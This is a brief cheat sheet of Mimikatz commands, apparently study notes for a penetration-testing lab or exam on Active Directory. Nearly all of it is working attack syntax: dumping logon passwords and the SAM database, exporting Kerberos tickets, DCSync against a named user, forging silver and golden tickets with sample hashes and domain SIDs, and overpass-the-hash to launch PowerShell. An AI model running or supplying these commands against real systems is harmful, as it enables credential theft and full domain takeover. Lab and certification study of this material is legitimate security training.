```sh
- privilege::debug
- sekurlsa::logonpasswords
- sekurlsa::tickets
- sekurlsa::tickets /export
- lsadump::sam
- kerberos::purge
- kerberos::list

- lsadump::dcsync /user:corp\dave
#RC4 can be ntlm hash
- kerberos::golden /user:zensvc /domain:exam.com /sid:S-1-5-21-88558181-3850747640-3669402957 /target:dc02.exam.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt

#overpassthehash
- sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe

#Golden ticket
lsadump::lsa /patch
kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt

#cmd: 




```